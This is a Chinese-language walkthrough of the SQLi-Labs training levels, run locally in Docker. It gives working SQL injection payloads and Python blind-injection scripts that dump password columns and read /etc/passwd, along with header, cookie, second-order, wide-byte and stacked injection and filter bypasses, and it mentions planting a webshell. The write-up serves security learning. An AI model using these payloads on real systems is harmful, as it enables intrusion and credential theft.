# SQL-Labs

### 环境搭建

docker

### 题解

#### less-1 -> less-4

有回显有报错，尝试联合注入。

```
?id=1' order by 3;--+ # 爆字段数
?id=-1' union select 1,2,database();--+ # 爆库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ # 爆表名
?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema='security' and table_name='users';--+ # 爆字段
?id=-1' union select 1,2,group_concat(username, " ", password) from users --+ #爆字段内容
```

**less-2** 去掉单引号即可，不需要闭合。

**less-3** 的 `id` 使用了`('`拼接，使用`')`闭合即可。

**less-4** 的 `id` 使用了`("`拼接，使用`")`闭合即可。

#### less-5 -> less-6

有回显，但是回显格式固定；有报错，猜测是报错注入，这里用了XPath语法报错注入。

注意报错注入限制了返回字符串的长度，可以通过逆序读取字符串、向右读取字符串、字符串截取三种方式绕过限制。

```
?id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # 爆库名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ # 爆表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ # 爆字段名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(username, " ", password) from users),0x7e),1)--+ # 爆字段内容
```

**less-6**使用双引号闭合。

#### less-7

有回显，没有具体回显信息，但是可以区分是否查询成功；有报错，但是没有输出报错信息，想到可能要用盲注。

提示给出`"Use outfile"`,猜测用户拥有文件读写权限。

于是读取`/etc/passwd`文件

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select load_file('/etc/passwd')),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

接着读取user表。

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

才学疏浅，看到有姿势知道可以Apache配置文件，获得网站路径。

Apache配置文件路径；

```
/etc/apache2/sites-enabled/000-default.conf
```

```
<VirtualHost *:80>         
ServerAdmin webmaster@localhost          
DocumentRoot /var/www/html         
<Directory />                 
Options FollowSymLinks                 
AllowOverride None         
</Directory>         
<Directory /var/www/html>          
```

但其实不读也没关系？毕竟通常Apache目录都在/var/www/html/下。

还有正常其实是可以写入文件的，直接exec进去改权限。

```
docker exec -it 6c7 /bin/bash
```

<figure><img src="https://oatmeal.vip/wp-content/uploads/2021/03/image-38.png" alt=""><figcaption></figcaption></figure>

```
chmod 777 /var/www/html/Less-7/
```

写入文件之后蚁剑一把梭。

#### Less-8

布尔盲注

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-8/?id=1' and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

#### Less-9 -> Less-10

时间盲注

```
iimport requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            payload = "select group_concat(password) from users"
            url = f"http://127.0.0.1:8080/Less-9/?id=1' and if(ascii(substring(({payload}),{i},{i}))>{mid},sleep(3),1)--+"
            start = time.time()
            response = requests.get(url, timeout=5)
            end = time.time()
            if end - start < 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### **Less-10**

把单引号改成双引号即可。

#### Less-11 -> Less-14

这关终于有个登录功能了，万能钥匙直接登录。

报错注入数据外带

跟**Less-5**一样的payload。

**Less-12**用`")`闭合。

**Less-13**用`')`闭合。

**Less-14**用`"`闭合。

#### Less-15 -> Less-16

报错爆不出来了，只能尝试盲注了。

看了一下源码，原来是不打印报错信息了。

看一下源码

直接单引号闭合盲注完事

```
import requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-16/"
            data = {
                "uname": f"admin' or if(ascii(substring((select group_concat(password) from users),{i},1))>{mid},sleep(1),1);#",
                "passwd": "1' or 1=1;#"
            }

            try:
                start = time.time()
                response = requests.request("POST", url=url, data=data)
                end = time.time()
                if end - start < 3:
                    right = mid
                else:
                    left = mid + 1
                mid = (left + right) // 2
            except:
                left = mid + 1
        print(chr(mid))
```

#### **Less-16**

改成`")`完事。

这里脚本写的有点问题，延时的特别久直到timeout，也不懂是啥问题，最后只能用try捕捉了。

#### Less-17

密码更新功能，是update注入。

源码中打印error信息，报错注入一把梭。

```
uname=admin&passwd=123456' or updatexml(1,concat(0x7e,database(), 0x7e),1);#
```

#### Less-18

User-Agent注入，继续报错注入

```
username: Dumb
password: Dumb
User-Agent: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
```

#### Less-19

Referer注入，和上一题差不多。

```
username: Dumb
password: Dumb
Referer: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
```

#### Less-20

Cookie注入

登录后修改Cookie

```
' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1
```

#### Less-21

同Cookie注入，但是被Base64编码

登录后修改Cookie

```
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
```

#### Less-22

跟上一题一样，只是闭合方式改成双引号

```
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAxPSIx
```

#### Less-23

又回到了ID注入

多了正则表达式，过滤了两个常见的注释字符，只要使用闭合而不是注释字符即可绕过。

```
?id=-1' union select 1, (select group_concat(username, " ", password) from users), '3
```

#### Less-24

看到有修改密码功能，直接盲猜二次注入。

看一下注册功能。

传入的username被转义，再看一下修改密码功能：

发现这里的`$username`被直接拼接使用，而没有经过转义，可以石锤二次注入。

注册账号，设置`$username`

```
$username=admin' #
```

再次修改密码，原SQL语句进行拼接，结果为：

```
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
```

可以直接修改原有账号`admin`的密码。

#### Less-25 -> Less-25a

把关键字`OR`和`AND`过滤，双写绕过。

```
?id=-1' union select 1,2,(select group_concat(passwoorrd) from users)--+
```

25a是数字型注入，不需要闭合。

#### Less-26 -> Less-26a

这题做的云里雾里，没有很懂后面的原理。

测试了一下，发现空格和注释被过滤了。

这题解法比较多元，可以用异或连接。

```
?id=1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1
```

让我们在白盒测试一下，原SQL语句如下：

```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

拼接后：

```
$sql="SELECT * FROM users WHERE id='1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1' LIMIT 0,1"
```

测试一下，经过测试发现数字无论是多少，都会执行中间的updatexml语句，因为要进行异或操作，所以必定会执行XPath语句，然后报错

同理，相同的方法有`||`，也可以进行绕过。

而空格可以使用%0a绕过，在MySQL中，%0a、%0b等特殊字符都能进行绕过。

```
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
```

#### Less-27 -> Less->27a

大小写绕过即可，只要括号用的够多，是可以绕过空格过滤的。

```
?id=1'and(updatexml(1,concat(0x7e,(seLect(group_concat(password))from(users)),0x7e),1))and'1'='1
```

27a将`'`改为`"`即可。

#### Less-28

试了半天，没法报错注入了，一看源码，又把print给注释了。

于是接着盲注。

```
import requests

if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f"http://127.0.0.1:8080/Less-28/?id=0')||substr(database(),{i},1)>'{ch}';%00"
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### Less-29

看了源代码，注意到有报错提示，id变量用单引号闭合

```
?id=0' or (updatexml(1,concat(0x7e,database(),0x7e),1)) or '1'='1
```

注就完事了。

#### Less-30

这关注释了报错注入提示，但是有回显，可以考虑布尔盲注，也可以使用联合注入，提交的ID被双引号闭合。

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f'http://127.0.0.1:8080/Less-28/?id=0"or(length(database())>=10)="1'
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### Less-31

闭合方式不一样，多了一个`"`，可以使用报错注入，与29类似。

#### Less-32 -> Less-37

GBK编码注入，利用%df进行宽字节注入。

```
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
```

这几题原理类似，不再赘述。

#### Less-38 -> Less-41

堆叠注入。

```
?id=1';insert users values(2333,"oatmeal","123456");--+
```

这几题原理类似，修改闭合方式即可。

#### Less-42 -> Less-45

password没有过滤，可以堆叠注入。

```
login_user=admin&login_password=1'%3binsert users value(2333, "oatmeal", "123456")%3b#&mysubmit=Login
```

#### Less-46 -> Less-47

注入方式很多，随便注就行。

```
?sort=1'and updatexml(1,concat(0x7e,database(),0x7e),1)%23
```

#### Less-48 -> Less-49

这两题没有报错回显，盲注就行。区别在单引号上。

```
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
```

#### Less-50 -> Less-53

和前面的堆叠注入exp一样。
